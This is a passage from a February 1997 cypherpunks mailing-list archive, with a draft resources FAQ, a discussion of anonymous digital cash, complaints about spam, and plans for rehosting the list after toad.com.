host a cypherpunks list. Topmost on those steps is creation of the sten.net or sten.org domain, and getting a personal, paid-for-out-of-my-own-pocket, ISDN connection. The majordomo will run off of my personal computer sitting in my apartment, not on Tivoli hardware sitting in the support lab. As I said, John forced my hand in his announcement, causing me to 'put up' before everything was in place, including the domain registration. Yes, my mail comes from sten.tivoli.com. That doesn't mean that everything I do in life is connected to Tivoli, IBM, etc. -- #include /* Sten Drescher */ Unsolicited bulk email will be stored and handled for a US$500/KB fee. It is by caffeine alone I set my mind in motion, it is by the beans of Java that thoughts acquire speed, the hands acquire shaking, the shaking becomes a warning, it is by caffeine alone I set my mind in motion. -- Carlos Nunes-Ueno, 3/29/95 From omegam at cmq.com Wed Feb 12 15:55:16 1997 From: omegam at cmq.com (omegam at cmq.com) Date: Wed, 12 Feb 1997 15:55:16 -0800 (PST) Subject: Pre-alpha Cpunx-resource FAQ comments sought Message-ID: <199702122353.RAA02802@jolietjake.com> Okay folks. I have worked on this much of the day. This is a more formalized outline as well as a somewhat fleshed out version of section 1 of the FAQ I am attempting to produce. I submit this to the group for commentary and suggestions as well as pointers to the relevant info. This should be enough to give a flavor of what I am trying to do. Anything in [] needs to be located and/or verified by myself. I realize that this won't please everyone and some may not care. So be it. Those who do care, please help me make it less of a FAQ based on my subjective experience and more of a useful general reference. Here it is... -----BEGIN PGP SIGNED MESSAGE----- Cypherpunks Resources FAQ version 0.000000002 Compiled, edited & maintained by Scott Harney "Omegaman " This document lists resources for readers interested in Cypherpunk issues and goals. The primary intention of this document is to get new readers of the group to explore the background issues that Cypherpunks attempt to address. It also includes pointers to many common cryptographic implementations and tools. Furthermore, pointers and instructions for various newsreaders and email-filters are provided to help users filter out some of the net's inevitable noise and glean the most useful information they can from this forum. This FAQ does not attempt to explictly define who the Cypherpunks are or answer questions about the philosophy. That is an exercise for the reader who utilizes the pointers within to find the answers on their own. After exploring these resources, the hope is that the reader will become a more effective and insightful contributor to alt.cypherpunks -- even if he/she is opposed to the goals of the group. This FAQ is not intended to be an exhaustive reference. A quick perusal of this FAQ should reveal the impossiblity of such a task. Rather, it is a jumping-off point. Almost all of the references below contain voluminous further references. If your mission-critical Cypherpunks site is not explicitly included, it is 99% likely to be referred to by at least one of them. This FAQ is propagated monthly to alt.cypherpunks. It can also be obtained be sending email with the subject and/or body "get cpunks faq" to omegam at cmq.com. As with nearly all net.publications, this document is in a constant state of contruction. When information in the FAQ is updated, I will also post a "what's new" message for those who are interested in reading additions/corrections without wading throught the entire FAQ again. - -------*********------- Author's Note/Disclaimer ---------*********--------- I maintain this FAQ solely on a voluntary basis. I am doing this because I think it is necessary. It would be contrary to the anarchic nature of the Cypherpunks to attempt to call this an official FAQ of the Cypherpunks group. Anyone who disagrees with the editing decisions and pointer selections I have made in this FAQ is free to. What this means is that you are encouraged to send comments, suggestions, corrections, new questions, and answers to me. I may or may not include them in future revisions of the FAQ. I do ask that somewhere in the subject of your mail redarding this FAQ you include the text "(CFAQ suggest)", so procmail can file such comments appropriately and I can address them in a more efficient manner. If I use your suggestion or answer to a question, I will attribute the reference to you unless you request that I do not. You are free to create your own Cypherpunks-resources FAQ if you don't like mine. - - Scott _______________________________________________________________ Omegaman PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2 59 0A 01 E3 AF 81 94 63 Send e-mail with "get key" in the "Subject:" field to get a copy of my public key _______________________________________________________________ - -------*********--------*********---------********--------*********------ Premliminary Outline Section 1 - Introduction and General Information. Q1.1 Does this newsgroup/mailing-list have a charter? Q1.2 How did the group get started? Q1.3 What do Cypherpunks want? Q1.4 What happened to the toad.com mailing list? Are there archives? Q1.5 Are there other groups besides Cypherpunks who share these goals. Q1.6 What have the Cypherpunks done to advance their goals other that merely talk about them? Q1.7 I'm interested, what can I do? Q1.8 What are all these terms and acronyms anyway? (A Quick n' Dirty Glossary) Section 2 - Crypto in Action Q2.1 Pointers galore to PGP resources. Q2.2 Point to Schneir's site and include biblio info on Applied Crypto Q2.2 Point to cryptlib toolkits Q2.3 RSA, of course. Q2.4 pointers to disk encryption utilities for various platforms Q2.5 pointers to Raph's remailer site and other remailer info sites. remailer software. software to make remailer usage simpler (premail, PIdaho) Q2.6 pointers to the various digital cash purveyors and to explanations of how Chaumian digital cash works. Q2.7 pointers to Apache-SSL site and info, Stronghold, Q2.8 SSH Q2.9 Pointers to sites describing how various types of crypto actually work. sci.crypt faq Q3.0 But how do I know if it's good crypto? Point to snake Oil FAQ? Schneir's essay. Use your brain. Section 3 - Crypto and the Law Q3.1 Froomkin's site obviously.. John Young's also obvious. EFF has a good archive too. Karn case, others. Q3.2 Pointers to government's current position on crypto. ie. EAR, ITAR Q3.3 Pointers past Clipper failure info. Section 4 - Who's who & (recent) History of Crypto. Q4.1 A couple of good general history sites exist. also Codebreakers bibliographical reference. Q4.2 Enigma is a common question, point to relevant sites. Q4.3 Whit Diffie--some interviews etc are available Q4.4 Bruce Schneir same Q4.5 Phil Z and PGP history and interviews. Q4.6 Jim Bizdos Q4.8 Dorothy Denning (got to include the enemy too) Q4.7 Pointers to news on breaks of ciphers Q4.8 NSA site. [Others? I'm getting sleepy, names escaping me at the moment] Section 5 - Help! I want to know more but I'm drowning in noise Q5.1 Point to filtered lists in existence Q5.2 news2mail gateways as source of list. mail filtering tools come into good use. point to a bunch of them. Q5.3 Point to kill-file info for various newsreaders and platforms. [Possibly include generic examples from own experience and list user's experience who wish to contribute. Specific names will be ommitted of course. Also score information for those interested] Q5.4 point to information on other utilities and verification-type schemes [NoCeM's] Section 6 - Personal motivations, thank-you's, etc. *********----------**********----------**********---------*********---- Section 1. Introduction and General Information Q1.1 Do the Cypherpunks have an official charter? No. Cypherpunks are anarchic in nature so the notion of an official charter is directly contrary to such ideals. The two statements below are from Original Cypherpunks (OC's) Eric Hughes and Tim May. The first was part of the original welcome message to the mailing list hosted at toad.com. The second was suggested by Tim to the original list and commented upon by the readership. Both statements are accepted by much of the readership as good indicators of what Cypherpunks are about. Eric Hughes' statement: "Cypherpunks assume privacy is a good thing and wish there were more of it. Cypherpunks acknowledge that those who want privacy must create it for themselves and not expect governments, corporations, or other large, faceless organizations to grant them privacy out of beneficence. Cypherpunks know that people have been creating their own privacy for centuries with whispers, envelopes, closed doors, and couriers. Cypherpunks do not seek to prevent other people from speaking about their experiences or their opinions. The most important means to the defense of privacy is encryption. To encrypt is to indicate the desire for privacy. But to encrypt with weak cryptography is to indicate not too much desire for privacy. Cypherpunks hope that all people desiring privacy will learn how best to defend it. Cypherpunks are therefore devoted to cryptography. Cypherpunks wish to learn about it, to teach it, to implement it, and to make more of it. Cypherpunks know that cryptographic protocols make social structures. Cypherpunks know how to attack a system and how to defend it. Cypherpunks know just how hard it is to make good cryptosystems. Cypherpunks love to practice. They love to play with public key cryptography. They love to play with anonymous and pseudonymous mail forwarding and delivery. They love to play with DC-nets. They love to play with secure communications of all kinds. Cypherpunks write code. They know that someone has to write code to defend privacy, and since it's their privacy, they're going to write it. Cypherpunks publish their code so that their fellow Cypherpunks may practice and play with it. Cypherpunks realize that security is not built in a day and are patient with incremental progress. Cypherpunks don't care if you don't like the software they write. Cypherpunks know that software can't be destroyed. Cypherpunks know that a widely dispersed system can't be shut down. Cypherpunks will make the networks safe for privacy." Tim May's statement: "Alt.cypherpunks is for the unmoderated discussion of cryptography and the political, social, and economic implications of unrestricted, strong cryptography. The Cypherpunks grpup has existed since 1992 and has been central in the debate about strong crypto, government restrictions, crypto anarchy, and in showing weaknesses of various ciphers and security products. The mailing list has had as many as 1500 subscribers, plus gateways to newsgroups and Web sites. It is expected that 'alt.cypherpunks' will be a free-wheeling forum for many viewpoints. As it is unmoderated, readers are strongly advised to learn how to use filters and other tools for making virtual anarchies manageable for their own tastes." Q1.2 How did the group get started? Needless to say, the history of such things is fuzzy at best. Eric Hughes and Tim May had some discussions which led to Eric Hughes, decision to host a meeting. Concidently, the first meeting occurred the same week PGP 2.0 was released. John Gilmore offered his site to host a mailing list, and thus Cypherpunks were born. see Q1.2, Q1.4, and Q1.6 for references containing more detail. also see: [Wired article URL] Q1.3 What do Cypherpunks want? Such a simple question with no simple, short answer. Please explore the following sites. Tim May's provacative (and large!) Cyphernomicon http://www.oberlin.edu/~brchkind/cyphernomicon/ The Berkeley Cypherpunks site is another good starting point. ftp://ftp.csua.berkeley.edu/pub/cypherpunks/Home.html Also see: http://www.offshore.com.ai/security/ - Vince Cate's Cryptorebel/Cypherpunk Page http://www.eskimo.com/~joelm/ - Joel McNamara's Electronic Privacy Page Q1.4 What happened to the toad.com mailing list? Are there archives? As with all Cypherpunks issues, there is much controversy surrounding the dissolution of the original list hosted by John Gilmore's machine @toad.com. Some say that noise devoured the list to such a point as to make it useless, driving away the "good posters". Others argue that the failed attempt at moderating the list to eliminate some of that noise was the final nail in the coffin. Whatever the reason, Gilmore told the Cypherpunks that it was time to find a new home. Running a mailing list with 1500+ subscription base and the enormous volume that the list had is not a simple task. The physical running of the list on a single machine requires enormous computational resources as well as constant human intervention. Perhaps the resultant newsgroup and distributed mailing list approach is more in line with Cypherpunk ideals. "Cypherpunks know that a widely dispersed system cannot be shut down." Archives of the original list are available to some degree at: http://infinity.nus.sg/cypherpunks/ http://weber.u.washington.edu/~phantom/cpunk/index.html Users interested in running a "node" of the distributed mailing list version of this newsgroup are encouraged to subscribe to Igor Chudov's discussion list on the subject. Send a message to majordomo at algebra.com with the body "subscribe cypherpunks-hosts" Q1.5 Are there other groups besides Cypherpunks who share these goals? The following organizations and sites share Cypherpunk goals to a greater or lesser extent. The EFF(Electronic Frontier Foundation) http://eff.org http://eff.org/pub/ITAR_export/HTML/hot.html & http://www.eff.org/pub/Privacy/hot.html - more specific references & extensive archival information EPIC (Electronic Privacy Information Center) http://epic.org Voter's Telecommunications Watch http://www.vtw.org Center for Democracy and Technology http://www.cdt.org The Cryptography List at C2Net is also a good resource. send a message to Majordomo at c2.net with the body "subscribe Cryptography" The Coderpunks list at toad.com is a technical discussion forum. Send a message to majordomo at toad.com with the body "subscribe coderpunks" Q1.6 What have the Cypherpunks done to advance their goals other that merely talk about them? Many Cypherpunks are professionals in the computer security field. Others work for companies and corporations which create and distribute products utilizing strong cryptography. Cypherpunks are also directly responsible for the creation and running of Type I and Type II(mixmaster) Cypherpunks anonymous remailers (surprising, eh?). see Q2.5 Cypherpunks have also produced software to make good crypto easier for the masses. [Get permission from PGP-front end producers to reference here] The Linux-IPSEC project is another good example. [see & subscribe ref?]. Mykotronx exposure and dumpster diving excursion. [reference?] see Q1.4(list-archive sites) Q1.7 I'm interested, what can I do? First of all READ before you post. Observe simple etiquette. Don't clutter the group with "me too" posts and questions which you can easily find the answer to yourself. Contribute signal, not noise. As of this writing, RSA, inc. is hosting a contest to crack the government standard DES 56 bit algorhythm. See [http://www.rsa.com/contest] for full details. Also see Peter Trei's site for software and info. Host a portion of the distributed mailing list. See Q1.5. Run an anonymous or pseudonymous remailer. see Q1.6 for site references and software. Use strong crypto. Encourage friends to use it as well. Increase the amount of encrypted traffic on the net. Can you code? There are plenty of projects and opportunites yet to be explored. Black Unicorn writes: "Where is highly sophisticated stego? Where are larger keys for symetric ciphers? Where is a fully functional and secure "stealth PGP"? Where are anonymous and encrypted WWW clients and hosts which permit chaining? If the crypto war is going to be lost it will be lost in the chill of development when crypto regulation is put into place. If you don't make the guns in the first place, the government has a much easier time taking them away." Q1.8 What are all these terms and acronyms anyway? Here's a quick-n-dirty glossary. GAK = Government access to keys. Government euphemisms for GAK include "key escrow" and "key recovery" (actually important for corporations, but misused in recent USG proposals) USG = United States Government ITAR = International Trade and Arms Regulations. Regulations export of arms from the US. Strong Crypto is regulated as a weapon by this document. see Q3.2 EAR = Encryption Algorhythm Regulations (a guess, look it up) Recent proposals by Clinton Administration. see Q3.2 TLA = Three Letter Acronym/Agency. Refers to USG agencies (typically involved in law enforcement) FBI, CIA, NSA, etc. NSA = National Security Agency. This highly secretive agency is responsible for the protection of USG secrecy via encryption as well as the spying on other governments by breaking encryption algorhythms. see Q4.8 DES = US Data Encryption Standard algorhythm. see Q2.9 RSA = a company and a public key algorhythm. see Q2.9 and Q2.3 net.loon/kook = a purely subjective characterization. Signal-to-Noise ratio = Signal refers to on-topic posts. Noise, the opposite. A high S/N ratio means the list is putting out a lot of signal("good posts"). Subjective, but fairly obvious. See Section 5 for pointers no how to reduce (what you think is) noise Memes = [get a good definition here] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [Rest of FAQ goes here :) This is a pre-alpha FAQ, intended only to solicit commentary and suggestions.] -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: latin1 iQCVAwUBMwJViqb3EfJTqNC9AQHigwP+IAXu+PO7aGiR/zZxz91PhnYuYvTy3jMN HzO4djcx44auPMjh6pFpmWJuYRcoxVHXCh2JO4UOR3cNYloxikwY4hGgYx8jLgN1 XORQztiCGMI/2ScVsi8tH6eJLCuZxmE7s8semel4CC8xH3H74vCiBNZD6iyyIXOG oMkSnOVFAQg= =Fdky -----END PGP SIGNATURE----- From wombat at mcfeely.bsfs.org Wed Feb 12 15:57:17 1997 From: wombat at mcfeely.bsfs.org (Rabid Wombat) Date: Wed, 12 Feb 1997 15:57:17 -0800 (PST) Subject: Been good to know ya ... Message-ID: Later, all. And thanks to John for all the work he has put in to maintaining the list. Last one to leave, turn out the lights. -r.w. From tcmay at got.net Wed Feb 12 15:59:08 1997 From: tcmay at got.net (Tim May) Date: Wed, 12 Feb 1997 15:59:08 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702122350.PAA14364@you.got.net> (A copy of this message has also been posted to the following newsgroups: alt.cypherpunks, talk.politics.crypto,sci.crypt) At 1:19 PM -0800 2/12/97, Lee Tien wrote (on the Cypherpunks at toad.com list): >The NSA's research report on e-cash says: > > "The ideal situation (from the point of view of privacy advocates) >is that neither payer nor payee should know the identity of the other. This >makes remote transactions using electronic cash totally anonymous: no one >knows where Alice spends her money and who pays her. > > "It turns out that this is too much to ask: there is no way in such >a scenario for the consumer to obtain a signed receipt. Thus we are forced >to settle for payer anonymity." > >Keeping in mind I am only a lawyer, my skim of Schneier (2d ed.) didn't >illuminate. The discussion of digital cash seemed to assume no payee >anonymity. But the immediate previous section of dining cryptographers >involved (it seemed) recipient untraceability. > >Is payee anonymity technically possible? Under what conditions? > >If so, is the issue social, e.g., as NSA notes, the lack of a signed receipt? You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday Cypherpunks meeting at Stanford, where Ian talked for more than an hour on just this issue. (He also talked for an hour on his crack of the RSA challenge using 250 workstations...this was also a good talk.) It was explicitly stated in Chaum's 1985 paper that methods existed to ensure full untraceability. Chaum has in recent years emphasized a more "surveillance friendly" system in which some of the anonymity is lost. It was the intuition of some of us that "coin changers" could solve this problem, e.g, by having intermediaries to "mix" the coins and thus break the traceability chain. Lucky Green wrote some articles along these lines, and maybe Hal Finney, too. This was a couple of years ago. The notion is similar to what Ian showed, but our arguments were not formal and robust. In August of '95, Doug Barnes released a long article on "Identity Agnostic" systems. (His article is no longer at the www.communities.com Web site, so I can't refer you to it. Maybe he'll post it again.) About a year ago Ian Goldberg considered this issue and came up with a solution which has seemingly reproduced what Chaum was thinking about (but, apparently, did not make completely clear in his papers, for whatever reasons). Ian deals with the issue of "making change" and comes up with a system in which intermediaries, which we may call "e-cashiers" and "moneychangers," can take on the role of the mint/bank. By making "negative deposits" (submitting signed withdrawal slips, effectively), these intermediaries function as moneychangers. And so the one-way anonymous features become two-way (effectively, each of the transactions contributes a "one-way anonymous" component: one-way + one-way = two-way). It is much easier to understand digital cash with the usual diagram showing the usual triangle of CUSTOMER-MERCHANT-MINT and then analyzing the flow of information, who knows what, etc. Drawing such diagrams in e-mail is beyond my patience. This system used online clearing, of course. This "disintermediates" the process, and makes for an "everyone a mint" situation, which has some of the same nice properties that an "everyone a remailer" ecology of remailers and users has. And the principle can be extended further back, to where the usual distinctions between CUSTOMER and MERCHANT vanish (as it sort of does in the real world, where the two parties are merely exchanging one item for another item), and where the role of the MINT is minimal. In fact, Ian showed, the Chaum patents on blinding are NOT USED by the Mint/Bank; only the CUSTOMER uses the blinding patents (and the MERCHANT in some cases, not in other cases). This means that "anyone a mint" does not violate any of the Chaum/Digicash patents, and "mint clients" are likely to be written by third parties. (The _customer_ is presumably on the honor system to abide by the Chaum patents...except the patents are only being licensed to banks...go figure.) (This is where, as I recall, Doug's "agnostic" system came in...it is possible his thinking was similar to Ian's...I don't have Doug's paper handy.) Ian demonstrated this on an actual system, with real live connections to mints in various countries, but with the blinding not used (as I recall). Draw your own conclusions about what this means. It was heady stuff, seeing the result many of us believed to be implicit in Chaum's 1985 paper made real. Everyone a mint. This makes the spread of fully anonymous digital cash harder to stop. Issues of the mint denying one has an account are always real ones, but not important--I think--in the real world. The untraceability of the digital coins means that a mint never knows who is testing it for reliability and "honesty," and the mint cannot set out to "screw" a particular customer by declaring his account not to exist (as the mint almost certainly does not have to know who own which accounts, as deposits can be made anonymously). I hope this helps. I plan to use this result centrally in my talk at the panel discussion on "Governmental and Social Implications of Digital Cash" at the upcoming CFP. --Tim May -- Boycott "Big Brother Inside" software! We got computers, we're tapping phone lines, we know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Licensed Ontologist | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Wed Feb 12 16:06:15 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 12 Feb 1997 16:06:15 -0800 (PST) Subject: anonymity and e-cash In-Reply-To: Message-ID: At 1:19 PM -0800 2/12/97, Lee Tien wrote: >The NSA's research report on e-cash says: > > "The ideal situation (from the point of view of privacy advocates) >is that neither payer nor payee should know the identity of the other. This >makes remote transactions using electronic cash totally anonymous: no one >knows where Alice spends her money and who pays her. > > "It turns out that this is too much to ask: there is no way in such >a scenario for the consumer to obtain a signed receipt. Thus we are forced >to settle for payer anonymity." > >Keeping in mind I am only a lawyer, my skim of Schneier (2d ed.) didn't >illuminate. The discussion of digital cash seemed to assume no payee >anonymity. But the immediate previous section of dining cryptographers >involved (it seemed) recipient untraceability. > >Is payee anonymity technically possible? Under what conditions? > >If so, is the issue social, e.g., as NSA notes, the lack of a signed receipt? You missed a very good talk by Ian Goldberg at the Saturday meeting at Stanford, where Ian talked for more than an hour on just this issue. It was explicitly stated in Chaum's 1985 paper that methods existed to ensure full untraceability. Chaum has in recent years emphasized a more "surveillance friendly" system in which some of the anonymity is lost. It was the intuition of some of us that "coin changers" could solve this problem, e.g, by having intermediaries to "mix" the coins and thus break the traceability chain. Lucky Green wrote some articles along these lines, and maybe Hal Finney, too. This was a couple of years ago. In August of '95, Doug Barnes released a long article on "Identity Agnostic" systems. (His article is no longer at the www.communities.com Web site, so I can't refer you to it. Maybe he'll post it again.) Ian Goldberg has seemingly reproduced what Chaum was thinking about (but, apparently, did not make completely clear in his papers, for whatever reasons). Ian deals with the issue of "making change" and comes up with a system in which intermediaries, which we may call "e-cashiers" and "moneychangers," can take on the role of the mint/bank. By making "negative deposits" (submitting signed withdrawal slips, effectively), these intermediaries function as moneychangers. And so the one-way anonymous features become two-way (effectively, each of the transactions contributes a "one-way anonymous" component: one-way + one-way = two-way). (It is much easier to understand digital cash with the usual diagram showing the usual triangle of CUSTOMER-MERCHANT-MINT and then analyzing the flow of information, who knows what, etc. Drawing such diagrams in e-mail is beyond my patience.) This system used online clearing, of course. This "disintermediates" the process, and makes for an "everyone a mint" situation, which has some of the same nice properties that an "everyone a remailer" ecology of remailers and users has. And the principle can be extended further, to where the usual distinctions between CUSTOMER and MERCHANT vanish (as it sort of does in the real world, where the two parties are merely exchanging one item for another item), and where the role of the MINT is minimal. In fact, Ian showed, the Chaum patents on blinding are NOT USED by the Mint/Bank; only the CUSTOMER uses the blinding patents (and the MERCHANT in some cases, not in other cases). This means that "anyone a mint" does not violate any of the Chaum/Digicash patents, and "mint clients" are likely to be written by third parties. (The _customer_ is presumably on the honor system to abide by the Chaum patents...except the patents are only being licensed to banks...go figure.) (This is where, as I recall, Doug's "agnostic" system came in...it is possible his thinking was similar to Ian's...I don't have Doug's paper handy.) Ian demonstrated this on an actual system, with real live connections to mints in various countries, but with the blinding not used (as I recall). Draw your own conclusions about what this means. It was heady stuff, seeing the result many of us believed to be implicit in Chaum's 1985 paper made real. Everyone a mint. This makes the spread of fully anonymous digital cash harder to stop. Issues of the mint denying one has an account are always real ones, but not important--I think--in the real world. The untraceability of the digital coins means that a mint never knows who is testing it for reliability and "honesty," and the mint cannot set out to "screw" a particular customer by declaring his account not to exist (as the mint almost certainly does not have to know who own which accounts, as deposits can be made anonymously). I hope this helps. I plan to use this result centrally in my talk at the panel discussion on "Governmental and Social Implications of Digital Cash" at the upcoming CFP. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From paul at fatmans.demon.co.uk Wed Feb 12 16:09:46 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 16:09:46 -0800 (PST) Subject: Spam posts from my acct. Message-ID: <855792538.1123373.0@fatmans.demon.co.uk> Cpunks, A number of spam mails (I counted about 100 in my incoming mail) were sent to the list from my account last night. I do not take particular precautions with my password for this account as there is no sensitive mail sent through it, I recall in particular giving the password to someone to test out a machine recently and I believe they may be the culprit. Again, my appologies for the inconvenience and you have to admit that while his method may have been less than subtle his message was certainly something we can all relate to ;-) Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 16:09:53 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 16:09:53 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855792532.1123357.0@fatmans.demon.co.uk> > Why you are doing this, Paul? > > - Igor. It would appear that someone I gave my password to the other day (I recieve no sensitive mail through this account) so they could use it to test a machine has a rather infantile sense of humour and have taken my critical posts to the list to mean that I want to spam a mailing list with dreck like this. I shall ensure the offending fool is castrated forthwith... Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From tcmay at got.net Wed Feb 12 16:11:28 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 12 Feb 1997 16:11:28 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702130011.QAA09573@toad.com> At 6:21 PM +0000 2/12/97, Attila T. Hun wrote: > maybe relief is in sight; can we spell excedrin? > >on or about 970211:1433 educom at elanor.oit.unc.edu said: > >+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL > >+A U.S. district court in Ohio has granted CompuServe's request for a >+preliminary injunction barring Cyber Promotions Inc. from sending >+unsolicited e-mail to its subscribers while the commercial provider ... Were I a customer of CompuServe, I'd ask on what basis CompuServe was intercepting e-mail to me. In fact, a CompuServe account holder has made just this point: "I'll decide what's junk mail and what's not." Having the court system involved in deciding what mail is valid and what is not valid is not my idea of a free society. Having said this, the flaw remains that "junk mail" is "free" to the sender. This is a flaw in the ontology of e-mail, and needs to be fixed. Digital postage is one approach. I'm not holding my breath, but I sure don't want a "District Court" deciding. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From webmaster at extensis.com Wed Feb 12 16:11:35 1997 From: webmaster at extensis.com (webmaster at extensis.com) Date: Wed, 12 Feb 1997 16:11:35 -0800 (PST) Subject: Extensis CyberViewer Registration Message-ID: <199702130011.QAA09575@toad.com> Dear Gringo, Thank you for registering your copy of CyberViewer with Extensis! Your CyberViewer serial number is: JME-100-001-936-690721 Please save this message for your records. Visit for more information about CyberViewer news & updates! Thanks for using Extensis CyberViewer! Jeff Cheney Product Marketing Manager jcheney at extensis.com From stend at sten.tivoli.com Wed Feb 12 16:11:45 1997 From: stend at sten.tivoli.com (Firebeard) Date: Wed, 12 Feb 1997 16:11:45 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702130011.QAA09591@toad.com> >>>>> Timothy C May writes: TCM> Since posting my comments I've just seen the proposal that tivoli TCM> may host a list. Whoa, Nellie! Who made that proposal? It certainly wasn't me! I said that I was taking steps to set up a majordomo to host a cypherpunks list. Topmost on those steps is creation of the sten.net or sten.org domain, and getting a personal, paid-for-out-of-my-own-pocket, ISDN connection. The majordomo will run off of my personal computer sitting in my apartment, not on Tivoli hardware sitting in the support lab. As I said, John forced my hand in his announcement, causing me to 'put up' before everything was in place, including the domain registration. Yes, my mail comes from sten.tivoli.com. That doesn't mean that everything I do in life is connected to Tivoli, IBM, etc. -- #include /* Sten Drescher */ Unsolicited bulk email will be stored and handled for a US$500/KB fee. It is by caffeine alone I set my mind in motion, it is by the beans of Java that thoughts acquire speed, the hands acquire shaking, the shaking becomes a warning, it is by caffeine alone I set my mind in motion. -- Carlos Nunes-Ueno, 3/29/95 From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 12 16:12:17 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 12 Feb 1997 16:12:17 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) Message-ID: <199702130012.QAA09625@toad.com> From: IN%"ravage at einstein.ssz.com" "Jim Choate" 12-FEB-1997 18:43:56.23 > From: "E. Allen Smith" >> Umm... because you'll eventually accumulate _lots_ of addresses >> that don't work, which will slow things down tremendously in sending >> mail out? >The current subscription is between 1,000 and 2,000 I don't think that is >_lots_. All we need to do is count the number of bounces per address in >a given period, the SSZ end is trying to decide between weekly or >monthly cleanings, and then clear that address. At no point would I need >to archive the original bounce. Someone with more experience correct me if I'm wrong (I'm just starting to learn about mailing list management), but isn't saving at least the first bounce from a given address good in order to check what address is the one that's actually bouncing? Admittedly, this only applies to badly-formed bounces. The rest can just have the address noted. >> Well, loki at cyberpass.net has made the offer to host the entire >> list... and Lance is certainly making money at it. While this would have >> some problems in comparison with the distributed list idea (namely more of >> a choke point), it would decidedly help. >I certainly hope they get a cpunks address made available. I will certainly >subscribe cpunks at ssz so that the distributed remailer will benefit from >that input. However, one of the major realizations is that as long as one >anything is involved in the list it is capable of being shutdown at any >time with no warning. It also makes it much easier to compromise. I would >like to see servers in several countries myself. Agreed. >> >Is anyone interested in acting as a mail-to-news gateway? >Want to volunteer? Give me some idea of how much programming knowledge, time, etcetera is required, please, before I can answer. I'd be renting space on some other computer (e.g., an account on cyberpass.net) to do it in; the only higher-level programming language (i.e., beyond Applesoft Basic) that I know anything of is Perl (and I don't know that all that well); and I am somewhat busy with other stuff. In other words, it depends. -Allen From speidel at lightspeed.net Wed Feb 12 16:12:21 1997 From: speidel at lightspeed.net (zac speidel) Date: Wed, 12 Feb 1997 16:12:21 -0800 (PST) Subject: security Message-ID: <199702130012.QAA09626@toad.com> does any 1 here a hacker??? --=====================_855792302==_ Content-Type: TEXT/HTML; CHARSET=us-ascii Content-ID: Skinhead Oi Oi




--=====================_855792302==_-- From tcmay at got.net Wed Feb 12 16:14:22 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 12 Feb 1997 16:14:22 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: <199702120555.VAA07276@toad.com> Message-ID: At 5:49 PM -0600 2/12/97, Firebeard wrote: >>>>>> Timothy C May writes: > >TCM> Since posting my comments I've just seen the proposal that tivoli >TCM> may host a list. > > Whoa, Nellie! Who made that proposal? It certainly wasn't >me! I said that I was taking steps to set up a majordomo to host a >cypherpunks list. Topmost on those steps is creation of the sten.net >or sten.org domain, and getting a personal, >paid-for-out-of-my-own-pocket, ISDN connection. The majordomo will >run off of my personal computer sitting in my apartment, not on Tivoli >hardware sitting in the support lab. As I said, John forced my hand >in his announcement, causing me to 'put up' before everything was in >place, including the domain registration. Yes, my mail comes from >sten.tivoli.com. That doesn't mean that everything I do in life is >connected to Tivoli, IBM, etc. Sorry, I was just going by what I saw in your e-mail address. My point was not really about Tivoli, or IBM, or any other particular company, though. I was making the point that _any_ site distributing a list is likely to face legal pressures not to carry certain items. Read between the lines (or read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and the products of Sandy's company, and legal pressures applied, to see what I mean. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | 